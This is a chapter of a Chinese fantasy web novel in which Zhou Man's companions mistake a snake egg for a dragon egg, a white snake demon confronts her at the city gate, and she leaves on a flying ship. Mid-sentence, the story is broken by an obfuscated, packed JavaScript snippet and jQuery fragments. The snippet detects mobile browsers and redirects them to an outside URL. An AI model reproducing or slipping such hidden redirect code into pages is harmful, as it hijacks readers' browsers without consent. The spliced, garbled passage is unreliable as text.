83. 第 83 章

“师姐师姐!”


周漫刚踏进风荷客栈,东方持就激动的冲来,左脚拌右脚摔来,她急忙往侧躲闪,伸手抓住他领子带正,就近到桌前坐下,示意店小二煮碗面。


东方持站定又挪到她面前,高兴的说昨晚的见闻。


他说起话来没个停歇,周漫让他坐下说,给他倒杯茶。


周漫脑子浑噩,对他的话似听非听,看他眉飞色舞的样子,想起了何了了,他讲故事的时候也会手舞足蹈的演绎。


等事情结束了,一定要先去看看他长成什么样了。


她如是想着,东方持也说完了事,猛地灌茶,周漫配合的问他,“你确定是龙蛋?”


三小孩昨晚等到最后,看见龙影闪过,然后一颗蛋落下,他们笃定是龙蛋,小心翼翼的护着拿回来。


东方持点头如捣蒜,言之凿凿的说,“肯定是,元师兄和左姐姐正给蛋做窝。”


周漫欲言又止,连元凡都觉得是,那就当是吧。


店小二端来面,东方持再要了三碗,笑吟吟的给周漫递筷子,又再次表达了得龙蛋的喜悦之情。


周漫用他的故事下面,没吃饱又再要一碗。


片刻后,元凡和左满贯抱着筐子来,框里泛着淡淡的光。


“师姐。”元凡出声叫她,左满贯也高兴的打招呼,“何姐姐。”


左满贯自觉的把筐子放低让她看,周漫垂眼一看,太阳穴“突突”的跳,浓烈的瘴气里没晕,现下看这白花花椭圆的蛋险些晕厥过去。


周漫被话给噎住,愣了半晌才抬头看满面笑容的三个傻子,“你们没遇着什么事?”


“没事啊,就是感觉被谁盯着,我估计是有人看到我们宝贝,想抢龙蛋。”


东方持睁着他清澈明亮的大眼睛说的真诚,可惜说瞎话不自知。


周漫看向元凡和左满贯,两人都认真的点头表示认可。


她咽了口水,心如死灰的指明,“蛇蛋。”


左满贯:“什么?”


东方持:“什么蛇蛋?”


元凡:“师姐是说这个不是龙蛋是蛇蛋?”


东方持和左满贯同时回头看他,眼神骤变,又不可置信的看向周漫。


周漫默默地往边上移,离蛇蛋远点,以免蛇妈算账的时候牵连她。


看她这个动作,两人已经崩溃了。


东方持“哇哇”大叫,欲哭无泪的往元凡身后躲,嚎叫道,“我之前掏鸟窝碰到了蛇蛋,晚上一条大蛇盘在我床上,吓得我几天没魂,还是师父陪我睡了半个月才好的。”


“蛇母最是护犊子,这蛋这么大,蛇妖肯定凶神恶煞,这下不是蛋完了,是我们完蛋了。”


东方持哭丧着脸,把故事渲染的深入,元凡被他震得耳朵疼,无奈的拍他肩膀做安抚。


周漫看他要哭的样子,两手一摊,继续逗他们,“我可没碰,要找也找你们。”


“师姐师姐……”


东方持眼泪汪汪,真是吓着了,哀求左满贯,“左姐姐,快拿出去还给蛇母吧。”


左满贯:“可是我喜欢。”


周漫和元凡沉默。


东方持“啊啊啊”大叫,眼泪夺眶而出。


元凡实在是受不了他咋呼,捂着他嘴巴不让出声,看着周漫等她做决定。


“你的机缘,留不留是你的事。”周漫耸了耸肩,接过店小二面坐下继续吃。


三人大眼瞪小眼,各执所见,左满贯执拗不听,抱着筐子不撒手。


周漫看他们紧张的样子,不再逗他们,出声提醒:“快吃完,趁着白天阳气重,妖怪有顾忌,咱赶紧的走。”


“对对对,快走。”


东方持拽元凡坐下,抹把泪就埋头吃面,恨不得一口吃完能赶紧走。


周漫吃完等他们,一人倒了杯茶,回屋去收拾东西。


“师姐师姐,快点哦。”东方持吃着面,含糊不清的催促。


周漫换了件衣服就下楼,三人早准备好侯着。


“师姐师姐,走走走。”


东方持迫不及待,拉着左满贯往外跑,恨不得先将她甩出城门才放心。


周漫和元凡在后跟着,不疾不徐。


她召出常伶剑递给元凡,在他错愕的神情下解释,“卧月似月柔,常伶如日烈,望你日月相望,光明盛昌。”


元凡怔怔的看着她,神情动容,眼眶渐红,嘴唇微颤。


“仙门百家,道途万千,唯剑道最费心、费钱,那把剑与你的缘分断了,修也无用,不如快刀斩乱麻。”


“我同你说过,人最难看清的是自己,心结不解,修行难进。”


“元凡,弃了吧。”


元凡眼前模糊,人影幢幢,已获机缘的人匆匆出城,他耳中只有师姐的声音,此刻与往日的交叠在一起。


“元凡,不能弃。”


良久,元凡垂头,眼泪如断了线的珍珠,大颗滚落,声音哽咽,“我想再试试。”


“好。”


周漫没逼他,将剑塞他手里后往前走,把空间留给他,让他能缓和。


元凡握着常伶,腰间挎着一短一长的剑。


所谓,旧的不去,新的不来,可他舍不得舍旧,却贪念心的。


——


沧霁城门口。


有人惊叫“蛇妖”,几人抬头看去,粗壮如牛的白蛇盘在城门石上,妖气冲天,出入城的人纷纷驻足不敢靠近。


东方持害怕的扯着元凡,吓得直哆嗦。


左满贯抱着竹筐,盯着筐里的蛇蛋,神情严峻。


周漫被几双眼睛盯着,学着时也神神叨叨掐算的样子,装模作样的说,“别怕,她吃素不吃人。”


东方持颤抖着说,“总咬人吧。”


元凡张了张嘴没说话,侧身再将他挡全一些。


此事与他们关系不大,周漫没搭理他们,侧身看着左满贯,“你想好。”


周围的人不乏同修,察觉到蛇妖注视左满贯手中的竹筐,便探头探脑的看,出声起哄,“她偷了人家的蛋,怪不得人家找上门。”


议论声四起,他们被团团围住。


东方持虽然害怕,见状还是一手拦人,一手护着左满贯。


周漫:“就算今天带出去了,这蛇蛋能不能孵出来,孵出来是什么东西可指不定,想清楚哦。”


人越来越多,推搡拥挤,左满贯和周漫摇摇晃晃,在一处站不住片刻。


左满贯一直垂头看着蛇蛋,终于抬起头看她,坚定的说:“是我的机缘,我就要。”


闻言,周漫道一声“好”,施法将不依不饶的人全都震开,仰头看盘旋的蛇妖,灵力化作剑形,目光凛冽。


“你若听得懂就速速让开,若是听不懂我剑法也不错。”


“嘶嘶嘶~”蛇妖吐信,蛇头下垂,离他们几丈外停下,黑白的眼睛直勾勾的看筐,没有要攻击的迹象。


周漫察觉到蛇妖已开灵智,无杀意便收敛了气势,瞟了一眼筐子里的蛇蛋,抿了抿嘴,动之以情,晓之以理,“你蛇崽在这没前途,这小姑娘可是左钥的唯一弟子,她以后和你崽结契,那指不定能修成龙身呢。”


左钥在沧霁城住过一年半载,听他说那些时日经常和妖怪相处,有些甚至成了朋友,妖怪圈子里有他不少传言,希望面前的蛇妖也是他朋友中的一位,高抬贵手。


“我找的是你。”


蛇妖开口,众人吓了一跳。


哄闹声起伏不定,周漫抓抓耳朵,没想起来自己什么时候招惹过她。


她推左满贯往前,嘱咐,“你们出去等我。”


元凡反应快,一手拽着一


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15221483|147366||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


个往外跑,蛇妖注视着他们出城,没有攻击,见状,踌躇不前的人群一哄而散,里外对冲,周漫被撞得歪七八扭,直接到城墙边上了,一回头对上近在咫尺的蛇脑袋,绕是再不怕妖怪,就这么突如其来的脑袋往眼里塞,她还是浑身一僵,倒吸一口凉气。


“你身上有我熟悉的气息。”


周漫咽了咽口水,缓了片刻才从乾坤袋摸到上次青蛇留给她的毒液,认真的澄清,“她自愿给的。”


“除了这个,是很多故人的气息。”


蛇脑袋更凑近,周漫连连后退,手挡着让她脑袋别再凑近了,张口胡诌,“我平时荤素不忌,怕是不小心吃着你朋友了。”


闻言,蛇头明显怔住,继续凑近。


周漫抵着墙避无可避,咬着牙感受妖气逼近,脑袋冰凉,眼前是拳头大的眼睛,眼下有细碎的蛇鳞。


一股凉意从额间传入,周身流转最后归于灵海,周漫错愕,。


“护好我的儿。”


蛇妖离去,周漫惊魂未定,撑着墙大口呼吸,晃晃悠悠的出城。


东方持别开元凡的手,忙不迭的上前扶她,“师姐师姐!你没事吧。”


“没事。”


周漫摆手,就是灵海里多了一股精气有些不适应,一会在飞羽上好好调整就行。


飞羽落地,左满贯“哇哇”大惊,东方持笑吟吟的给她介绍,三人已经上船玩去了,周漫回头看,果然见风屿蹦跳着来。


“姐姐!”


周漫被她抱的肩膀疼,拍拍她让松开,看她满面春光,捏她脸调侃,“这次不哭了?”


“哎呀,上次是久别重逢,情难自已,以后你常给我写信,我不哭。”


风屿摇晃着她胳膊,扭扭捏捏的说话。


“这是我叫小野准备的东西,等你到了风云城,我再去找你。”


风屿施法,船上多了一堆东西,东方持出船仓正好看见,惊喜万分,正要招呼元凡来看,就听风屿的声音,于是往护栏边来。


“姐姐,你去临川正好看看郁竹,真真是好看极了,你若割舍不下姓时的病秧子,就让他做小,郁竹收做大房,带出去也有面子。”


周漫无语,但是总觉得郁竹这个名字在哪听过。


“你休要胡说,我们人讲究的是一生一世一双人,才不要像你一样妻夫夫郎郎。”


东方持趴在护栏上,格外激动。


周漫抬头,搞不明白怎么每次东方持都能听到,眼看一人一妖要争执起来,她抓着风屿嘱咐了几句推着她离开,上船启程。


“师姐师姐!”东方持撇嘴,一脸委屈,“你不会的对不对?”


他问的莫名其妙,周漫一头雾水,“不会什么?”


“让时哥哥做小。”


语不惊人死不休,周漫翻了个白眼,“这个你得问他啊,问我作甚。”


小孩不依不饶,周漫让他打住,指着船板上的东西吩咐,“把东西收拾收拾。”


她捏着肩膀去甲板上喝茶,流云拂面,夏日的风热,静下心来,仔细思索着发生的一切。


风厉的话,柳良才的话重现耳畔。


风厉所言,何之之去过上清门,柳良才所言,何之之救过她。


柳良才知道她不是何之之。


周漫心里有一个不可思议的答案浮现——他们是朋友?


那么,她的重生,柳良才也参与了筹谋,他知道何之之的心愿是什么!


周漫喜上心头,激动的起身,脚下轻浮,眼前一黑,周身燥热,恍惚间听到柳良才撕心裂肺的吼叫声,声音从远方来,她抓不住听不清真切。


她的灵海像是火海,又热又闷,逃不脱,只能任由燥热的侵袭纠缠她。


周漫在火海中纳气吐息,想召风雨灭火,奈何火如野草,风雨过后更盛。